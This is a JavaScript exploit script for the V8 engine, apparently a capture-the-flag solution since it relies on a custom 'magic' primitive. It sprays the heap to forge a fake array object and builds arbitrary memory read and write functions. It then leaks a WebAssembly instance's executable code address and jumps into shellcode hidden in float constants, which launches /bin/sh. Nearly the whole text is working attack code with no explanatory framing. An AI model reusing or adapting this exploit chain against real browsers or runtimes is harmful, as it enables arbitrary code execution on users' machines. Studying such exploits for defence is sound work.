1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| const {log} = console;
let array_buffer = new ArrayBuffer(0x8); let data_view = new DataView(array_buffer);
function d2u(value) { data_view.setFloat64(0, value); return data_view.getBigUint64(0); }
function u2d(value) { data_view.setBigUint64(0, value); return data_view.getFloat64(0); }
let hexx = (str, v) => { log("[*] " + str + ": 0x" + v.toString(16)); };
var roots = new Array(0x30000); var index = 0;
function add_ref(obj) { roots[index++] = obj; }
function major_gc() { new ArrayBuffer(0x7fe00000); }
function minor_gc() { for (let i = 0; i < 8; i++) { add_ref(new ArrayBuffer(0x200000)); } add_ref(new ArrayBuffer(8)); }
function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); }
function pair_u32_to_f64(x, y){ return u2d((BigInt(x) & 0xffffffffn) + (BigInt(y) << 32n)); }
var spray_array = new Array(0xf700).fill(1.1); var leak_object_array = new Array(0xf700).fill({}); var element_start_addr = 0x01240011; var data_element_start_addr = element_start_addr + 7; var map_addr = data_element_start_addr + 0x1000; var fake_object_array_addr = map_addr + 0x1000; var leak_element_start_addr = 0x012c0011;
spray_array[(fake_object_array_addr - data_element_start_addr) / 8] = pair_u32_to_f64(0x0100cff1, 0x7bd); spray_array[(fake_object_array_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x4);
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
let wasm_module = new WebAssembly.Module(wasm_code) let wasm_instance = new WebAssembly.Instance(wasm_module) let foo = wasm_instance.exports.main;
leak_object_array[0] = wasm_instance;
function f() { let x = 1.1; return x; }
function ttt() { let x = 0x12131416; x = 0x12131416; x = 0x1242019; return x; }
f(); ttt();
magic(f, 1, 24);
let fake_obj = f();
function read64(target){ spray_array[(fake_object_array_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(BigInt(target) - 7n, 0x4); return d2u(fake_obj[0]); }
function write64(target, msg){ spray_array[(fake_object_array_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(target + 1n - 8n, 0x4); fake_obj[0] = u2d(msg); }
function leak_obj(obj){ leak_object_array[0] = obj; let leak = read64(leak_element_start_addr + 8 - 1); return leak & 0xffffffffn; }
let leak = read64(leak_element_start_addr + 8 - 1); let wasm_instance_addr = leak & 0xffffffffn; hexx("wasm_instance_addr", wasm_instance_addr);
leak = read64(wasm_instance_addr + 8n - 1n); let trusted_data_addr = leak >> 32n; hexx("trusted_data_addr", trusted_data_addr);
let rwx_addr = read64(trusted_data_addr + 40n - 1n); hexx("rwx_addr", rwx_addr);
write64(trusted_data_addr + 40n - 1n, rwx_addr + 0x9dbn);
var pwn = wasm_instance.exports.main; pwn();
|